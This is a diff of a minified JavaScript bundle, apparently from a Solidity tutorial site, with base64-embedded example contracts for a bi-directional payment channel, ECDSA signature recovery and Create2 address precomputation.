d0aDsgaSsrKSB7CiAgICAgICAgICAgIC8qCiAgICAgICAgICAgIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdAogICAgICAgICAgICAgICAgICBhZ2FpbnMgcmVwbGF5IGF0dGFjayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgYm9vbCB2YWxpZCA9IF9zaWduZXJzW2ldCiAgICAgICAgICAgICAgICA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfY29udHJhY3QsIF9iYWxhbmNlcywgX25vbmNlKSkKICAgICAgICAgICAgICAgICAgICAudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpLnJlY292ZXIoX3NpZ25hdHVyZXNbaV0pOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBtb2RpZmllciBjaGVja1NpZ25hdHVyZXMoCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzLAogICAgICAgIHVpbnQyNTZbMl0gbWVtb3J5IF9iYWxhbmNlcywKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSB7CiAgICAgICAgLy8gTm90ZTogY29weSBzdG9yYWdlIGFycmF5IHRvIG1lbW9yeQogICAgICAgIGFkZHJlc3NbMl0gbWVtb3J5IHNpZ25lcnM7CiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgdXNlcnMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgc2lnbmVyc1tpXSA9IHVzZXJzW2ldOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdmVyaWZ5KF9zaWduYXR1cmVzLCBhZGRyZXNzKHRoaXMpLCBzaWduZXJzLCBfYmFsYW5jZXMsIF9ub25jZSksCiAgICAgICAgICAgICJJbnZhbGlkIHNpZ25hdHVyZSIKICAgICAgICApOwoKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlVc2VyKCkgewogICAgICAgIHJlcXVpcmUoaXNVc2VyW21zZy5zZW5kZXJdLCAiTm90IHVzZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGNoYWxsZW5nZUV4aXQoCiAgICAgICAgdWludDI1NlsyXSBtZW1vcnkgX2JhbGFuY2VzLAogICAgICAgIHVpbnQyNTYgX25vbmNlLAogICAgICAgIGJ5dGVzWzJdIG1l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GFtb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="},{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm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ZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="}],bj=`

Bi-directional payment channels allow participants Alice and Bob to repeatedly transfer Ether off chain.

+`,jj=({prev:s,next:a})=>r.jsx(A,{version:ij,title:gj,description:hj,cyfrinLink:Ij,html:Cj,prev:s,next:a,codes:dj}),Aj="0.8.26",uj="Bi-Directional Payment Channel",yj="An example of bi-directional payment channels in Solidity",mj="https://www.cyfrin.io/glossary/bi-directional-payment-channel-solidity-code-example",bj=[{fileName:"BiDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKLyoKT3BlbmluZyBhIGNoYW5uZWwKMS4gQWxpY2UgYW5kIEJvYiBmdW5kIGEgbXVsdGktc2lnIHdhbGxldAoyLiBQcmVjb21wdXRlI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XJlcywKICAgICAgICBhZGRyZXNzIF9jb250cmFjdCwKICAgICAgICBhZGRyZXNzWzJdIG1lbW9yeSBfc2lnbmVycywKICAgICAgICB1aW50MjU2WzJdIG1lbW9yeSBfYmFsYW5jZXMsCiAgICAgICAgdWludDI1NiBfbm9uY2UKICAgICkgcHVibGljIHB1cmUgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IF9zaWduYXR1cmVzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIC8qCiAgICAgICAgICAgIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdAogICAgICAgICAgICAgICAgICBhZ2FpbnMgcmVwbGF5IGF0dGFjayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgYm9vbCB2YWxpZCA9IF9zaWduZXJzW2ldCiAgICAgICAgICAgICAgICA9PSBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfY29udHJhY3QsIF9iYWxhbmNlcywgX25vbmNlKSkKICAgICAgICAgICAgICAgICAgICAudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpLnJlY292ZXIoX3NpZ25hdHVyZXNbaV0pOwoKICAgICAgICAgICAgaWYgKCF2YWxpZCkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBtb2RpZmllciBjaGVja1NpZ25hdHVyZXMoCiAgICAgICAgYnl0ZXNbMl0gbWVtb3J5IF9zaWduYXR1cmVzLAogICAgICAgIHVpbnQyNTZbMl0gbWVtb3J5IF9iYWxhbmNlcywKICAgICAgICB1aW50MjU2IF9ub25jZQogICAgKSB7CiAgICAgICAgLy8gTm90ZTogY29weSBzdG9yYWdlIGFycmF5IHRvIG1lbW9yeQogICAgICAgIGFkZHJlc3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RTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKIC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gICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="}],wj=`

Bi-directional payment channels allow participants Alice and Bob to repeatedly transfer Ether off chain.

Payments can go both ways, Alice pays Bob and Bob pays Alice.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.26;
@@ -852,7 +852,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         );
     }
 }
-
`,wj=({prev:s,next:a})=>r.jsx(A,{version:jj,title:Aj,description:uj,cyfrinLink:yj,html:bj,prev:s,next:a,codes:mj}),kj="0.8.26",Zj="Precompute Contract Address with Create2",Wj="Precompute contract address with create2",Bj="https://www.cyfrin.io/glossary/precompute-contract-address-with-create2-solidity-code-example",Gj=[{fileName:"Create2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgLy8gUmV0dXJucyB0aGUgYWRkcmVzcyBvZiB0aGUgbmV3bHkgZGVwbG95ZWQgY29udHJhY3QKICAgIGZ1bmN0aW9uIGRlcGxveShhZGRyZXNzIF9vd25lciwgdWludDI1NiBfZm9vLCBieXRlczMyIF9zYWx0KQogICAgICAgIHB1YmxpYwogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIC8vIFRoaXMgc3ludGF4IGlzIGEgbmV3ZXIgd2F5IHRvIGludm9rZSBjcmVhdGUyIHdpdGhvdXQgYXNzZW1ibHksIHlvdSBqdXN0IG5lZWQgdG8gcGFzcyBzYWx0CiAgICAgICAgLy8gaHR0cHM6Ly9kb2NzLnNvbGlkaXR5bGFuZy5vcmcvZW4vbGF0ZXN0L2NvbnRyb2wtc3RydWN0dXJlcy5odG1sI3NhbHRl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BuZXcgYWRkcmVzcyA9IGZpcnN0IDIwIGJ5dGVzIG9mIGtlY2NhazI1NigweGZmICsgYWRkcmVzcyh0aGlzKSArIHMgKyBrZWNjYWsyNTYobWVtW3DigKYocCtuKSkpCiAgICAgICAgICAgICAgcyA9IGJpZy1lbmRpYW4gMjU2LWJpdCB2YWx1ZQogICAgICAgICovCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBhZGRyIDo9CiAgICAgICAgICAgICAgICBjcmVhdGUyKAogICAgICAgICAgICAgICAgICAgIGNhbGx2YWx1ZSgpLCAvLyB3ZWkgc2VudCB3aXRoIGN1cnJlbnQgY2FsbAogICAgICAgICAgICAgICAgICAgIC8vIEFjdHVhbCBjb2RlIHN0YXJ0cyBhZnRlciBza2lwcGluZyB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBhZGQoYnl0ZWNvZGUsIDB4MjApLAogICAgICAgICAgICAgICAgICAgIG1sb2FkKGJ5dGVjb2RlKSwgLy8gTG9hZCB0aGUgc2l6ZSBvZiBjb2RlIGNvbnRhaW5lZCBpbiB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBfc2FsdCAvLyBTYWx0IGZyb20gZnVuY3Rpb24gYXJndW1lbnRzCiAgICAgICAgICAgICAgICApCgogICAgICAgICAgICBpZiBpc3plcm8oZXh0Y29kZXNpemUoYWRkcikpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CgogICAgICAgIGVtaXQgRGVwbG95ZWQoYWRkciwgX3NhbHQpOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgZm9vID0gX2ZvbzsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],fj=`

Contract address can be precomputed, before the contract is deployed, using create2

+`,kj=({prev:s,next:a})=>r.jsx(A,{version:Aj,title:uj,description:yj,cyfrinLink:mj,html:wj,prev:s,next:a,codes:bj}),Zj="0.8.26",Wj="Precompute Contract Address with Create2",Gj="Precompute contract address with create2",Bj="https://www.cyfrin.io/glossary/precompute-contract-address-with-create2-solidity-code-example",fj=[{fileName:"Create2.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgLy8gUmV0dXJucyB0aGUgYWRkcmVzcyBvZiB0aGUgbmV3bHkgZGVwbG95ZWQgY29udHJhY3QKICAgIGZ1bmN0aW9uIGRlcGxveShhZGRyZXNzIF9vd25lciwgdWludDI1NiBfZm9vLCBieXRlczMyIF9zYWx0KQogICAgICAgIHB1YmxpYwogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIC8vIFRoaXMgc3ludGF4IGlzIGEgbmV3ZXIgd2F5IHRvIGludm9rZSBjcmVhdGUyIHdpdGhvdXQgYXNzZW1ibHksIHlvdSBqdXN0IG5lZWQgdG8gcGFzcyBzYWx0CiAgICAgICAgLy8gaHR0cHM6Ly9kb2NzLnNvbGlkaXR5bGFuZy5vcmcvZW4vbGF0ZXN0L2NvbnRyb2wtc3RydWN0dXJlcy5odG1sI3NhbHRlZC1jb250cmFjdC1jcmVhdGlvbnMtY3JlYXRlMgogICAgICAgIHJldHVybiBhZGRyZXNzKG5ldyBUZXN0Q29udHJhY3R7c2FsdDogX3NhbHR9KF9vd25lciwgX2ZvbykpOw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CiAgICAgICAgICAgICAgcyA9IGJpZy1lbmRpYW4gMjU2LWJpdCB2YWx1ZQogICAgICAgICovCiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBhZGRyIDo9CiAgICAgICAgICAgICAgICBjcmVhdGUyKAogICAgICAgICAgICAgICAgICAgIGNhbGx2YWx1ZSgpLCAvLyB3ZWkgc2VudCB3aXRoIGN1cnJlbnQgY2FsbAogICAgICAgICAgICAgICAgICAgIC8vIEFjdHVhbCBjb2RlIHN0YXJ0cyBhZnRlciBza2lwcGluZyB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBhZGQoYnl0ZWNvZGUsIDB4MjApLAogICAgICAgICAgICAgICAgICAgIG1sb2FkKGJ5dGVjb2RlKSwgLy8gTG9hZCB0aGUgc2l6ZSBvZiBjb2RlIGNvbnRhaW5lZCBpbiB0aGUgZmlyc3QgMzIgYnl0ZXMKICAgICAgICAgICAgICAgICAgICBfc2FsdCAvLyBTYWx0IGZyb20gZnVuY3Rpb24gYXJndW1lbnRzCiAgICAgICAgICAgICAgICApCgogICAgICAgICAgICBpZiBpc3plcm8oZXh0Y29kZXNpemUoYWRkcikpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CgogICAgICAgIGVtaXQgRGVwbG95ZWQoYWRkciwgX3NhbHQpOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CiAgICB1aW50MjU2IHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfb3duZXIsIHVpbnQyNTYgX2ZvbykgcGF5YWJsZSB7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICAgICAgZm9vID0gX2ZvbzsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRCYWxhbmNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K"}],Vj=`

Contract address can be precomputed, before the contract is deployed, using create2

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.26;
 
@@ -949,7 +949,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         return address(this).balance;
     }
 }
-
